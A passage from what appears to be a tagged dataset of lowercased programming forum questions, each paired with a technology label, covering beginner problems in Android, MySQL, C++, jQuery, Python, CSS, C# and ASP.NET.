e/androidruntime(3051):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:560) 12-20 03:51:38.973: e/androidruntime(3051):     at dalvik.system.nativestart.main(native method) 12-20 03:51:38.973: e/androidruntime(3051): caused by: java.lang.nullpointerexception 12-20 03:51:38.973: e/androidruntime(3051):     at android.app.loadedapk.initializejavacontextclassloader(loadedapk.java:379) 12-20 03:51:38.973: e/androidruntime(3051):     at android.app.loadedapk.getclassloader(loadedapk.java:322) 12-20 03:51:38.973: e/androidruntime(3051):     at android.app.loadedapk.makeapplication(loadedapk.java:496) 12-20 03:51:38.973: e/androidruntime(3051):     ... 11 more 12-20 03:51:40.223: e/trace(3085): error opening trace file: no such file or directory (2) </code></pre>,android
result consisted of more than one row error mysql  i am trying to get the next available id through a stored procedure but so far i cant make this to work. this is my stored procedure   <pre><code>delimiter $$  use `devt`$$  drop procedure if exists `updateid`$$  create definer=`root`@`%` procedure `updateid`(in `tran_id` varchar(15)  in `typ` varchar(15)  out `lid` varchar(15)) begin declare id varchar(15); set id =    ; select tranid from journal where tranid = tranid into id; read_loop: loop             select tranid from journal where tranid = id into id;     if id = tran_id then         update journaltype set journaltype.nextrefnbr = journaltype.nextrefnbr + 1 where journaltype.journaltype = typ;         select journaltype.nextrefnbr from journaltype where journaltype.journaltype = typ into id;         iterate read_loop;     else         set lid= id;         leave read_loop;     end if; end loop; end$$  delimiter ;**strong text** </code></pre>   when i run the query call updateid( 17000001   gj   @test) i get an error result consisted of more than one row,mysql
c++ build error  i am trying to integrate wwise into a test project. i have a project on windows 7 using ms visual studio 2010  and this is the error i get after i try and add a necassary cpp to the project. i dont get this build error on my machine at home with the same set up  what does it mean    <pre><code>------ build started: project: wwise test  configuration: debug win32 ------   akfilepackagelut.cpp c:\program files (x86)\audiokinetic\wwise v2012.2.1 build 4427\sdk\samples\soundengine\common\akfilepackagelut.h(204): error c2065:  null  : undeclared identifier       c:\program files (x86)\audiokinetic\wwise v2012.2.1 build 4427\sdk\samples\soundengine\common\akfilepackagelut.cpp(117) : see reference to function template instantiation  const cakfilepackagelut::akfileentry&lt;t_fileid&gt; *cakfilepackagelut::lookupfile&lt;akfileid&gt;(t_fileid const cakfilepackagelut::filelut&lt;t_fileid&gt; * bool)  being compiled       with       [           t_fileid=akfileid       ] c:\program files (x86)\audiokinetic\wwise v2012.2.1 build 4427\sdk\samples\soundengine\common\akfilepackagelut.h(204): error c2065:  null  : undeclared identifier       c:\program files (x86)\audiokinetic\wwise v2012.2.1 build 4427\sdk\samples\soundengine\common\akfilepackagelut.cpp(140) : see reference to function template instantiation  const cakfilepackagelut::akfileentry&lt;t_fileid&gt; *cakfilepackagelut::lookupfile&lt;akuint64&gt;(t_fileid const cakfilepackagelut::filelut&lt;t_fileid&gt; * bool)  being compiled       with       [           t_fileid=akuint64       ] </code></pre>,c++
using jquery ready() function on a js call  is there any way to add jquery ready() function to a code like this    <pre><code>&lt;script type= text/javascript  src= http://xxxxxxxxxxx id=35&amp;amp;k=bf6ee6f24e058a864298&amp;amp;method=div  id= block-4e058a8642973ae2c431f0d8 &gt;&lt;/script&gt; </code></pre>   suppose we can t add ready function within the actual js code in that src link    if we can t  then is there anyway to make this script load last,jquery
parseint not converting multiple string to int  it was a very simple but don t no why i can t solve it.    i am trying to convert string to integer from json  it converts 1st object but from second object it doesn t:    html:    <pre><code>&lt;body ng-controller= myapp &gt;   &lt;ul ng-repeat= vals in json_arr  ng-init= parseid(vals) &gt;     &lt;li&gt;       &lt;input type= number  ng-model= vals.id  /&gt;     &lt;/li&gt;     &lt;li&gt;       &lt;input type= number  ng-model= vals.id1  /&gt;     &lt;/li&gt;     &lt;li&gt;       &lt;input type= number  ng-model= vals.id2  /&gt;     &lt;/li&gt;   &lt;/ul&gt; &lt;/body&gt; </code></pre>   controller:   <pre><code>app.controller( myapp   function($scope) {   $scope.json_arr = [{      id :  1        id1 :  2        id2 :  3    }];    $scope.parseid = function(val) {     val.id = parseint(val.id);   } }); </code></pre>   <a href= http://plnkr.co/edit/dtsgcqfayi85yjgodmak p=preview  rel= nofollow >demo plunker</a>,angularjs
my code wont excute a very basic javascript function  my code wont execute the <code>alert()</code> function. can anybody help me  here is the code:    hook.txt:   <pre><code>&lt;html&gt; &lt;div id= text &gt;   &lt;a href= #  class= name &gt;george lucas&lt;/a&gt; &amp;nbsp;   &lt;span class= fadetxt &gt;knows&lt;/span&gt;    &lt;span class= subjectnames &gt;physiology&lt;/span&gt; &lt;/div&gt; &lt;div class= detail &gt;&lt;/div&gt; &lt;/html&gt; </code></pre>   knowledge.txt:   <pre><code>&lt;html&gt;&lt;p class= subjecttitle&gt;physiology&lt;/p&gt;&lt;/html&gt; </code></pre>   javascript:    <pre>      $(document).ready( function(){     $( #stdmatch ).load( /hook.txt );             $( .subjectnames ).click(function(){             $(this).alert( data );     <code>        });                   }); </code></pre>,jquery
php - why fopen() does not work in the registered  register_shutdown_function    the <code>fopen()</code> fails and it outputs    <blockquote>    warning: fopen(logs/response_rowbody/230.mlog): failed to open stream: no such file or directory in c:\xampp\htdocs\test.php on line 5  </blockquote>   after hours of isolating the reasons that might be causing the problem  i found it is because the function is called in function registered with <code>register_shutdown_function</code> . and i don t know if this is normal or not!    this is the code that i use   <h3>this code works</h3>   the file c:\xampp\htdocs\test.php   <pre><code>&lt; php //register_shutdown_function( logresponse );  /*the function logresponse() works here because it has been called naturaly at the end of the file without being shut_down_registered*/ logresponse(); function logresponse(){    $response_rowbody =  logs/response_rowbody/230.mlog ;    $fhandle = fopen($response_rowbody  wb );if(!$fhandle){echo errorrr ;}; exit;};  &gt; </code></pre>  <h3>this code does not work</h3>   the file c:\xampp\htdocs\test.php   <pre><code>&lt; php register_shutdown_function( logresponse );  /*the function logresponse() does not work here because it has been called as a shut-down registered function*/ //logresponse(); function logresponse(){    $response_rowbody =  logs/response_rowbody/230.mlog ;    $fhandle = fopen($response_rowbody  wb );if(!$fhandle){echo errorrr ;}; exit;};  &gt; </code></pre>   what am i doing wrong here   <em>thanks.</em>,php
can i get the same effect as in photoshop using font-family:helvetica neue light  want to get the same effect as looks in this picture     <a href= http://www.screencast.com/users/netcane/folders/jing/media/801aaeab-ad76-4b5d-ae2a-3ed4d463f2ae  rel= nofollow noreferrer >http://www.screencast.com/users/netcane/folders/jing/media/801aaeab-ad76-4b5d-ae2a-3ed4d463f2ae</a>    using css font-family:helvetica neue light is it possible or i have to use cufon,css
how to showing forefront button on android   i use <code>glsurfaceview</code>     and i want my <code>button</code> displayed in front of <code>glsurfaceview</code>    and my xml   <pre><code>&lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android  xmlns:tools= http://schemas.android.com/tools  android:layout_width= match_parent  android:layout_height= match_parent  tools:context= my package &gt;  &lt;button     android:layout_width= 100dp      android:layout_height= 50dp      android:text= back button      android:id= @+id/btn_previous      android:layout_alignparentbottom= false      android:layout_marginbottom= 45dp      android:layout_alignparenttop= true /&gt;  &lt;android.opengl.glsurfaceview     android:id= @+id/glview      android:layout_width= match_parent      android:layout_height= match_parent      android:layout_alignparenttop= true      android:layout_alignparentleft= true      android:layout_alignparentstart= true /&gt;  &lt;/relativelayout&gt; </code></pre>   this source not showing <code>button</code>. i think behind <code>glsurfaceview</code>    please advice for me     thanks.,android
trigger angular from outside of angular-app  ho to trigger an event inside ngapp from the outside world     this is my current code:   <pre><code>    // inside old code     console.log( start triggering angular );     $( #issueselectedpid ).val(pid);     $( #issueselectedpid ).trigger( input );     console.log( triggering angular );       // inside ngapp     &lt;input id= issueselectedpid  ng-model= vm.selectedpid  ng-change= vm.domystufftriggerdfromtheoutsideworld()  /&gt; </code></pre>   are there better ways of doing this     thanks for any help    larsi,angularjs
selecting distinct value while other values can be anything   not sure how to do this and not sure how to phrase it to find the answer.    say i have <code>select id  name  title  stuff from table</code>    id  name  and title can be whatever  it doesn t matter. but i only want to select 1 column where stuff is distinct. so..   <pre><code>1  bob  builder  hammer 2  tom  train  track 3  charlotte  spider  web 1  bob  builder  children 2  tom  train  children 3  charlotte  spider  children </code></pre>   so i want to select the first three and only one of the next three.,mysql
html - get active selected language  i want my visitors to be able to see their chosen language (or option) after they choose one from the selector. the current case is; i m using multiple language phrases. (example. if you selected german  than  dutch  will show up as:  holländisch  (using <code>php</code>). but how should i make that     <strong>code:</strong>   <pre><code>&lt;select name= languageselector  onchange= location = this.value; &gt;   &lt;optgroup label= system language &gt;      &lt;option value=  lang=gen &gt;&lt; php echo $lang[ g ];  &gt;&lt;/option&gt;    &lt;/optgroup&gt;   &lt;optgroup label= main languages/countries &gt;     &lt;option value=  lang=gen &gt;english&lt;/option&gt;      &lt;option value=  lang=fr &gt;&lt; php echo $lang[ fr ];  &gt;&lt;/option&gt;     &lt;option value=  lang=de &gt;&lt; php echo $lang[ de ];  &gt;&lt;/option&gt;     &lt;option value=  lang=nl &gt;&lt; php echo $lang[ nl ];  &gt;&lt;/option&gt;     &lt;option value=  lang=es &gt;&lt; php echo $lang[ es ];  &gt;&lt;/option&gt;     &lt;option value=  lang=pl &gt;&lt; php echo $lang[ pl ];  &gt;&lt;/option&gt;     &lt;option value=  lang=frl &gt;&lt; php echo $lang[ frl ];  &gt;&lt;/option&gt;   &lt;/optgroup&gt;   &lt;optgroup label= sub languages/countries &gt;     &lt;option value=  lang=be_nl &gt;&lt; php echo $lang[ be_nl ];  &gt;&lt;/option&gt;     &lt;option value=  lang=be_fr &gt;&lt; php echo $lang[ be_fr ];  &gt;&lt;/option&gt;     &lt;option value=  lang=be_de &gt;&lt; php echo $lang[ be_de ];  &gt;&lt;/option&gt;     &lt;option value=  lang=be_en &gt;&lt; php echo $lang[ be_en ];  &gt;&lt;/option&gt;     &lt;option value=  lang=in &gt;&lt; php echo $lang[ in ];  &gt;&lt;/option&gt;     &lt;option value=  lang=en_uk &gt;&lt; php echo $lang[ en_uk ];  &gt;&lt;/option&gt;   &lt;/optgroup&gt; &lt;/select&gt; </code></pre>,html
left join table name dynmicly form the main query  i have a <code>bills</code> table with <code>column customer_type</code> and <code>customer_id</code> fields.    this <code>customer_type</code> tells if the customer is in the <code>customers</code> table or in the <code>users</code> table or in the <code>suppliers</code> table.    i need to create a query with left join according to <code>customer_type</code>.   <pre><code>select c.* from bills b  left join ***b.customer_type*** c on c.id = b.customer_id  </code></pre>,mysql
plaintext not being printed when ciphertext deciphered  when i give an option to decrypt  it is not displaying the deciphered text once code runs. the code works fine until this point. the users message is successfully encrypted and all of the printed questions and replies seem to work  it is just the fact that the deciphered message isn t printed  it just moves onto the next question. i would like to know how to solve this problem.   <pre><code>alphabet =  abcdefghijklmnopqrstuvwxyz  l = len(alphabet) question1 = input( hello  please insert your message:  ) key1 = input( please insert the key you would like to use (please keep it between 1 and 26):  ) cipher =     # encrytping the message  for a in question1:     if a in alphabet:         cipher +=  alphabet[(alphabet.index(a)+key1)%l] print(cipher)  #decrytping the message   question2 = input( would you like to decrypt this message :  ) cipher2 =    if input ==  yes  yes  y  y  yeah  yeah :     key2 = key1     for a in question2:         if a in alphabet:             cipher2 +=  alphabet[(alphabet.index(a)-key2)%l]     print(cipher2) else:     question3 = input( would you like to encrypt another message :  )     if input ==  yes  yes  y  y  yeah  yeah :         start()     else:         print ( thank you for your time young sir/madam ) </code></pre>,python
see if list only has certain values  given a list:   <pre><code>x = [1 2 1 1 1 2 1] </code></pre>   is there a one-liner to see if the list <strong>only</strong> contains the specified values and nothing else  for example:   <pre><code>x([1 2]) = true x([1 ]) = false x([1 2 3]) = false </code></pre>,python
smart navigation  what is smart navigation in .net,.net
optional type parameter for constructor  i have a class that works like this:   <pre><code>public class myclass {     myclass(someotherobject theobject)     {        ....     } } </code></pre>   as you can see  the constructor takes in an object as parameter. how do i change the constructor so that the object parameter becomes optional     <em>note: i did look on google  and most posts talk about an optional value parameter but i need an optional type parameter.</em>,c#
unable to set textarea width with css  i have attempted to use this css to set the width of my form elements:   <pre><code>input[type= text ]  textarea { width:250px; } </code></pre>   if you look at this firefox screenshot you ll see that the fields are not the same width. i get a similar effect in safari.    <a href= http://screamingv.com/ss.png >alt text http://screamingv.com/ss.png</a>    are there any workarounds     update: thanks for the info so far. i ve now made sure padding/margin/border on both elements are set the same. i was still having the problem. the original css i posted was simplified... i was also setting the height of the textarea to 200px. when i remove the height styling  the widths match. weird. that makes no sense.    browser bug,css
retrving data from mysql with case sensitivity  i have a login table in mysql database . . in table there is a column by cname and one of the value is  raghu . my question is when i write the query as    <pre><code>select *from login where cname= raghu ; </code></pre>   then it is retrieving the record which contains  raghu  . i want it to retrieve according to case . how can i retrieve with case sensitively  values in the data of tables.,mysql
true false quiz controlling dive to be visible or hidden  on one page i have    <pre><code>    &lt;div class= quiz-question  id= q1 &gt;&lt;strong&gt;this is the question &lt;/strong&gt;&lt;/div&gt; &lt;div class= quiz-choices &gt;     &lt;div class= quiz_choice &gt;&lt;input type= radio  name= q1  id= q1t  value= t &gt;&lt;label for= q1t &gt;true&lt;/label&gt;&lt;/div&gt;     &lt;div class= quiz_choice &gt;&lt;input type= radio  name= q1  id= q1f  value= f &gt; &lt;label for= q1f &gt;false&lt;/label&gt;&lt;/div&gt;  &lt;/div&gt;  </code></pre>   then on the final page i have    <pre><code>    &lt;div class= quiz-question  id= q1 &gt;&lt;strong&gt;this is the question &lt;/strong&gt;&lt;/div&gt; &lt;div class= quiz-correct &gt;     &lt;div class= quiz-answer-correct &gt;&lt;strong&gt;&lt;strong&gt;you answered:&lt;/strong&gt;&lt;/strong&gt; &lt;span class= quiz-answer &gt;true&lt;/span&gt;&lt;/div&gt;     &lt;div class= quiz-answer &gt;&lt;strong&gt;&lt;strong&gt;the correct answer is:&lt;/strong&gt;&lt;/strong&gt; true&lt;/div&gt; &lt;/div&gt; &lt;div class= quiz-wrong &gt;     &lt;div class= quiz-answer-wrong &gt;&lt;strong&gt;you answered:&lt;/strong&gt; false&lt;/div&gt;     &lt;div class= quiz-answer &gt;&lt;strong&gt;the correct answer is:&lt;/strong&gt; true&lt;/div&gt; &lt;/div&gt; </code></pre>   the answer is showing up in the address bar  but i don t know how to translate it into the site. usually i would use php and make it an if than situation. but it has to be html  so i imagine i need to use javascript. in the address bar it is showing up ...quiz.html/ q1=t&amp;q2=f&amp;q3=f,javascript
printing large font characters using ascii values like diode screens  hello i do not what type of this program called  but i will do my best to describe it. i want to write a program preferably in c that prints using ascii characters to print large characters similar to diodes signs    eg.    output:    #    #    # # # #    for characters l,c
c#: get variable value from a variable  i have been trying to access the variable value that internally itself is a variable and i am not even sure if it possible.   <pre><code>string var1 =  var2 ; string var2 =  testvar ; </code></pre>   so  here  is there any possibility to access value  testvar  using var1 variable     thanks!   <blockquote>    to explain better the scenario better  here is the actual code -   reading the variables from the excel column   and the value of those variables are present in the code  </blockquote>  <pre><code>//excel codefieldslistlocal column in codefields.xlsx //row 1: var1 //row 2: var2 //row 3: var3 //row 4: var4   using system; using system.linq; using system.text; using system.io; using system.collections.generic; using hl7spy.core; using hl7spy.core.hl7; using excel = microsoft.office.interop.excel;  public partial class dynamicclasstest : hl7spy.core.basecustomfunction {     string _outfilename = path.combine(environment.getfolderpath(environment.specialfolder.desktop)  out.txt );      string _infilename = path.combine(environment.getfolderpath(environment.specialfolder.mydocuments)  codefields.xlsx );      excel.application xlapp = new excel.application();      string var1 =  john ;     string var2 =  tom ;     string var3 =  bruce ;     string var4 =  hugh ;     string var5 =  peter ;     string var6 =  steve ;     string var7 =  bob ;       streamwriter _file;     /called for a set of data     public override void run()     {         list&lt;string&gt; codefieldslistlocal = new list&lt;string&gt;();         // create the file to be written out         _file = new streamwriter(_outfilename  false);         codefieldslistlocal = getcodefieldsnamesfromexcel();          for(int i = 0; i &lt; codefieldslistlocal.count; i++) {             _file.writeline(codefieldslistlocal[i]); /* --&gt; here i wanted to display the values instead of the variable names  is it possbile  like john  tom and others; and not var1  var2...*/          }     }     //called at time of code closure     public override void onfinish() {         _file.writeline( onfinish );         _file.close();         // launch notepad to display the file.         system.diagnostics.process.start( notepad  _outfilename);     }     //creating a list of variables from the excel column     public list&lt;string&gt; getcodefieldsnamesfromexcel () {         list&lt;string&gt; codefieldslistlocal = new list&lt;string&gt;();         excel.workbook workbook = xlapp.workbooks.open(_infilename                      type.missing  type.missing  type.missing  type.missing                      type.missing  type.missing  type.missing  type.missing                      type.missing  type.missing  type.missing  type.missing                      type.missing  type.missing);          excel.worksheet sheet = (excel.worksheet)workbook.sheets.get_item(1);         excel.range range = (excel.range)sheet.usedrange.columns[3];         object[ ] currentcolumn = (object[ ])range.cells.value2;         for (int i = 2; i &lt; currentcolumn.length; i++) {             codefieldslistlocal.add(currentcolumn[i 1].tostring());             _file.writeline(currentcolumn[i 1]);         }         return codefieldslistlocal;     } } </code></pre>,c#
passing button tag to perform segue identifier  i have a table view with custom cells. on the cell there are buttons identified with tags. every button performs an action. as example:   <pre><code>-(void)mapa_button_action:(uibutton*)sender {     nslog(@ cancelar button clicked=%ld  (long)sender.tag);     nsstring *employee =[[historialservicios objectatindex:sender.tag] valueforkey:@ driverid ];     nslog(@ employee=%@  employee);     [self performseguewithidentifier:@ mapa_conductor_segue  sender:self];  } </code></pre>   as you can see  the button is identified with the sender.tag property. in this case  the action performs a segue  and later  it performs the prepareforsegue method  where i can pass variables to the new view controller.   <pre><code>- (void)prepareforsegue:(uistoryboardsegue *)segue sender:(id)sender {     if ([segue.identifier isequaltostring:@ mapa_conductor_segue ]) {         nsindexpath *indexpath = [self.tableview indexpathforselectedrow];         nslog(@ indexpath=%@  indexpath);     } } </code></pre>   what i need is to retrieve the values from the selected cell to the new view controller. i am able to get the values in the map_button_action method  but i don t know how  to pass these values to the new controller.    i must use the performseguewithidentifier action in order to maintain the view controllers structure  i am using swrevealviewcontrollers.    any help is welcome.,ios
stuck on datetime to date conversion  perhaps someone can help me  i am pulling my hair out over this conversion i m trying to do.  i have a query that returns a few columns.  one of them is a column of values in a long hand datetime format.  i want to add a column next to this one and trim the date to remove the time so that it is just mm-dd-yyyy    my sql so far is just a union.  i don t know where such code would go or what it would be.  cannot figure out how to get it to work with cast or convert   <pre><code>select * from (   select top 3 ref_date  count(ref_date) as count   trim  as ref_datetrimmed   from [storage_dw].[dbo].[srm_virtualmachines]       group by ref_date   order by ref_date desc   ) a  union select * from (  select top 3 ref_date  count(ref_date) as count   trim  as ref_datetrimmed   from [storage_dw].[dbo].[srm_physicalhosts]      group by ref_date   order by ref_date desc    ) b </code></pre>   returned column is this:   <pre><code>ref_date 2017-01-16 02:27:00.000 2017-01-16 07:05:00.000 2017-01-23 02:24:00.000 2017-01-23 07:01:00.000 2017-01-30 02:36:00.000 2017-01-30 07:03:00.000 </code></pre>,sql
net sdk for universal windows app  i have hardware which come with a sdk for .net development and requires .net 2 above.    is it possible to use that sdk to build universal windows app,.net
closing db statement <pre><code> dbpreparedstatement stmt = null;     try     {         stmt = new dbpreparedstatement(util.getdatabase()  sql.tostring()   graph.savelastgraphname );         stmt.setstring(1  dbglobals.doublequote(graphnameused));         stmt.setstring(2  userupper);         stmt.executeupdate();         stmt.close();     }     catch (exception ex)     {         dbglobals.error( ohmjson.graph.savelastgraphname - error:   + ex.getmessage());         msg =  unable to save data ;         status = false;     }     finally     {         if (stmt != null)             stmt.close();     } </code></pre>   i am closing the database statement inside the finally block  is it the right way.  will this cause any memory leakage.,java
python: counting the amount of vowels or consonants in a user input word  i m a freshman in college  who s taking a python coding class. currently i m working on making a program count the amount of vowels or consonants based on a user s input to determine the mode.    currently  i ve made two lists  and i m trying to find out how to program python to count the vowels/consonants.    this is what i have so far - please keep in mind  i ve worked on both ends  and the center is where the counting goes.   <pre><code>#=======================================# #zane blalock s vowel/consonants counter# #=======================================#  print( welcome to the v/c counter! )  #make list vowels = list( aeiouy ) consonants = list( bcdfghjklmnpqrstvexz )  complete = false while complete == false:     mode = input( what mode would you like  vowels or consonants :  ).lower().strip()     print(  )     print( you chose the mode:   + str(mode))     print(  )     if mode ==  vowels :         word = input( please input a word:  )         print( your word was:   + str(word))         print(  )            choice = input( are you done  y/n:  ).lower().strip()         if choice ==  y :             complete = true         else:             print( ok  back to the top! )     elif mode ==  consonants :         word = input( please input a word:  )         print( your word was:   + str(word))         print(  )           choice = input( are you done  y/n:  ).lower().strip()         if choice ==  y :             complete = true         else:             print( ok  back to the top! )     else:         print( improper mode  please input a correct one )  print( thank you for using this program ) </code></pre>,python
.net 1- getting unque values for a column from datatable/dataview  we are using .net 1  i know we should switch to higher but not  in my hand. i am trying to show unque values of a column returned from stored proc &amp; putting in data tabel. rest of the column need to show all the values.    i googled and found below which seems not working in this version- new dataview(mytable).totable(true  new string[]{ channel });       do we have any other simple method. i dont like to use for loop to iterate all the values and put in arraylist.    my code is as below=   <pre><code>    cmd = new sqlcommand( web_retrieveclient   conn)     cmd.commandtype = commandtype.storedprocedure      param = cmd.parameters.add( @clientkey   sqldbtype.int  4)     param.value = lclientkey     param.direction = parameterdirection.input      adapter.selectcommand = cmd![enter image description here][1]     adapter.fill(dt)     conn.close() </code></pre>   please see the result data of proc in image. i need unique channelids.    thanks for the help in advance. navya,asp.net
change div background when input filed has data. how   i have an input field inside a div  and i would like the div background to change when the input field has data typed inside.    how is this done,html
javascript age calculator not working  it returns a string  i need a bit of help with this code. it returns a string instead of the required result and i m a bit stuck.   <pre><code>function calculateage(name  birthyear) {     this.name = name;     this.birthyear = birthyear;     this.result =  function(){         var currentyear = new date().getfullyear();         return currentyear - birthyear;     };     document.write( hi there   + this.name +   .  +  you are   + this.result +   old !  );  };  var john = new calculateage( ion    1980); john.result(); </code></pre>,javascript
variables that save their values after operations  this programs purpose is to be a menu driven check and balancing program. i am trying to get the variable  balance  to remember the value it holds after specific operations have been done to it. i m fairly new to c++ and i can t find this information anywhere.   <pre><code>int main(void) { double balance  deposit  withdraw; char select;  std::cout &lt;&lt;  welcome to the check balancing program.  &lt;&lt; std::endl; std::cout &lt;&lt;  please enter the current balance :   &lt;&lt; std::endl; std::cin &gt;&gt; balance; std::cout &lt;&lt;  current balance :   &lt;&lt; balance &lt;&lt; std::endl;   do { std::cout &lt;&lt;  please make your selection. \n ; std::cout &lt;&lt;  w/w : withdraw    &lt;&lt;  d/d : deposit    &lt;&lt;  e/e : ex  &lt;&lt;std::endl;     std::cin &gt;&gt; select;      switch (select)     {         case  w  : case  w :             std::cout &lt;&lt;  please enter a withdrawal amount :  ;             std::cin &gt;&gt; withdraw;             std::cout &lt;&lt;  withdraw :   &lt;&lt; withdraw &lt;&lt; std::endl;             std::cout &lt;&lt;  remaining balance :   &lt;&lt; (balance = balance  - withdraw) &lt;&lt; std::endl;             break;         case  d  : case  d :             std::cout &lt;&lt;  please enter a deposit amount :  ;             std::cin &gt;&gt; deposit;             std::cout &lt;&lt;  deposit :   &lt;&lt; deposit &lt;&lt; std::endl;             std::cout &lt;&lt;  remaining balance :   &lt;&lt; (balance = balance + deposit) &lt;&lt; std::endl;             break;         case  e  : case  e :             std::cout &lt;&lt;  the new balance :   &lt;&lt; balance &lt;&lt;   std::endl;             std::cout &lt;&lt;  thank you for using check balance program.   goodbye.  &lt;&lt; std::endl;             break;         default:             std::cout &lt;&lt;  you have entered an invalid code. please   try again.  &lt;&lt; std::endl;         } } while (select !=  e ); } </code></pre>,c++
how do i access things inside a 2d array and also update a node   this is the code that i m using.     i cannot seem to get my head around how i should go around to get the numbers inside the  network  list and use the numbers so i can calculate djikstra s algorithm. also  right at the bottom  there s a code that is commented  i m also trying to find out how to update a node but can t get it to work :/.     also i am using python 2.7.8    any help would be appreciated.   <pre><code>infinity = 1000000 invalid_node = -1  class node: previous = invalid_node distfromsource = infinity visited = false  def populatenetwork(filename):      network = []     networkfile = open(filename   r )     for line in networkfile:         network.append(map(int  line.strip().split(   )))     return network  def populatenodetable(network  startnode):     nodetable = []     for node in network:         nodetable.append(node())     nodetable[startnode].distfromsource = 0     nodetable[startnode].visited = true     return nodetable  network = populatenetwork( network.txt ) nodetable = populatenodetable(network  1)   for node in nodetable:     print node.previous  node.distfromsource  node.visited  for line in network:     print line  for index  val in enumerate(network):     print index  val   #for node in nodetable:     #nodetable.append(populatenodetable(network 2))     #print node.previous  node.distfromsource  node.visited     #break </code></pre>   text ouput:    <pre><code>-1 1000000 false -1 0 true -1 1000000 false -1 1000000 false -1 1000000 false -1 1000000 false -1 1000000 false [0  2  4  1  6  0  0] [2  0  0  0  5  0  0] [4  0  0  0  0  5  0] [1  0  0  0  1  1  0] [6  5  0  1  0  5  5] [0  0  5  1  5  0  0] [0  0  0  0  5  0  0] 0 [0  2  4  1  6  0  0] 1 [2  0  0  0  5  0  0] 2 [4  0  0  0  0  5  0] 3 [1  0  0  0  1  1  0] 4 [6  5  0  1  0  5  5] 5 [0  0  5  1  5  0  0] 6 [0  0  0  0  5  0  0] </code></pre>   edit: text output included,python
jquery function not being registered  im trying to generate a html table using jquery   <pre><code>slicedata.foreach(function(e  i  a) {     var obj = e;     $( #ticket-table ).append( &lt;tr&gt;&lt;td&gt;  + obj.created_dt +  &lt;/td&gt;&lt;td&gt;  + obj.ticket_num +  &lt;/td&gt; &lt;td&gt;  + obj.division +  &lt;/td&gt;&lt;td&gt;  + obj.pg +  &lt;/td&gt; &lt;td&gt;  + obj.duration +  &lt;/td&gt;&lt;td&gt;  + obj.error_count +  &lt;/td&gt;&lt;td&gt;  + obj.outage_caused +  &lt;/td&gt;&lt;td&gt;  + obj.system_caused +  &lt;/td&gt;&lt;td&gt;  + obj.addt_notes +  &lt;/td&gt;&lt;td&gt;&lt;button id= edit  + i +    &gt;edit&lt;/button&gt;&lt;/td&gt;&lt;/tr&gt; ); }) </code></pre>   and then registering a event for button ids -   <pre><code>$( #edit0 ).click(function() {     alert( clicked )     //load_datatable( n ) }) </code></pre>   the html table is generating correctly using jquery but the event is not being registered.    all this code is inside document.ready() function,jquery
css hide element  after 5 seconds show it      i found this question <a href= https://stackoverflow.com/questions/21993661/css-auto-hide-elements-after-5-seconds >css auto hide elements after 5 seconds</a>    and i need to know how to do the oposite of this. basically:    -page loads with element hidden    -wait 5 seconds    -show element    i m not very good with css so any help would be nice!    <pre><code>#thingtohide {     -moz-animation: cssanimation 0s ease-in 5s forwards;     /* firefox */     -webkit-animation: cssanimation 0s ease-in 5s forwards;     /* safari and chrome */     -o-animation: cssanimation 0s ease-in 5s forwards;     /* opera */     animation: cssanimation 0s ease-in 5s forwards;     -webkit-animation-fill-mode: forwards;     animation-fill-mode: forwards; }  @keyframes cssanimation {     to {         width:0;         height:0;         overflow:hidden;     } } @-webkit-keyframes cssanimation {     to {         width:0;         height:0;         visibility:hidden;     } } </code></pre>,css
asp download counter  i will make upload my application today to my homepage and wanna to have a simple download counter.    asp.net,asp.net
safari browser overlapping div content  i am not an expert developer and have limited knowledge about css. i am facing overlapping problem in safari and internet explorer 10+.    in firefox  google crome and opera my code is working fine but in safari and ie - text are overlapping.    please supply a whole css code as i do not know much of it.    my code is as below:   <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt; &lt;meta charset= utf-8  /&gt; &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;  &lt;style&gt;  *  *:before  *:after { -moz-box-sizing: border-box; -webkit-box-sizing:  border-box; box-sizing: border-box; } *{box-sizing: border-box; padding: 0; margin: 0;}  body { margin: 0;} footer { border: 1px solid #ccc; padding: 1.25em; background-color: #c0c0c0;  }  .max-width {max-width: 1400px; margin: 0 auto;} .site-container  { position: relative; margin: .5em; }  .left-column {  border: 2px solid #ccc; padding: 0.40em; } .right-column { border: 0px solid #ccc; padding: 1.25em; background-color:  #ffffff; }   .floating-inline{display: inline-block;vertical-align: middle;} .nav { list-style: none; margin-left: 0; margin-bottom: 0; padding-left: 0;  }   img { max-width: 100%; height: auto; }    header{position: fixed; left: 0; top: 0; width: 100%; height: 70px;   background: #6633cc; z-index: 3; color: #fff; text-align:center; font-size:   20px; padding: 10px 0;}     .panel{ height: 100%; position: absolute; top: 0 }   .center{padding:0px 190px 0 207px; position: absolute; width:100%; top: 0;    left: 0; background: #ffff99; overflow-y:scroll}   .left{ padding: 5px 0 0 0; left: 0; width:200px; background: #0f0; z-   index:2;}    .right{ padding: 5px 0 0 0; right: 0; width: 200px; background: #f00; z-   index:2;}     @media (max-width: 1024px) {   .left { display: none; }   .right { display: none;  }   .center{padding:0px 6px 0 10px; position: absolute; width:100%; top: 0;     left: 0; background: #ccffcc; overflow-y:scroll}    }    /* media queries */   @media screen and (min-width: 47.5em )   {      .left-column { margin-right: 22.5em; }     .right-column { position: absolute; top: 0; right: 0; width: 21.75em; }   }    &lt;/style&gt;   &lt;/head&gt;   &lt;body&gt;     &lt;header&gt;    nevigation menus goes here &lt;br&gt;    menu 1   menu 2  menu 3 &lt;br&gt;    &lt;/header&gt;      &lt;nav class= left panel  align= center &gt;     &lt;br&gt;&lt;br&gt;&lt;br&gt; &lt;img src= 196 x1000-left.jpg  width= 196  height= 650        border= 0  alt= img &gt;       &lt;/nav&gt;      &lt;aside class= right panel  align= center &gt; &lt;br&gt;&lt;br&gt;&lt;br&gt; &lt;img src= 196 x1000-left.jpg  width= 196  height= 650  border= 0  alt= img &gt;  &lt;/aside&gt;    &lt;section class= center panel &gt; &lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;     &lt;div class= max-width &gt;         &lt;div class= site-container &gt;             &lt;main class= left-column &gt;                 &lt;h2&gt;left column (fluid)&lt;/h2&gt;&lt;br&gt;                 &lt;p align= justify  &gt;                &lt;b&gt;1st para &lt;/b&gt; : lorem ipsum is simply dummy text of the    printing and typesetting industry. lorem ipsum has been the industry s    standard dummy text ever since the 1500s  when an unknown printer took a    galley of type and scrambled it to make a type specimen book. it 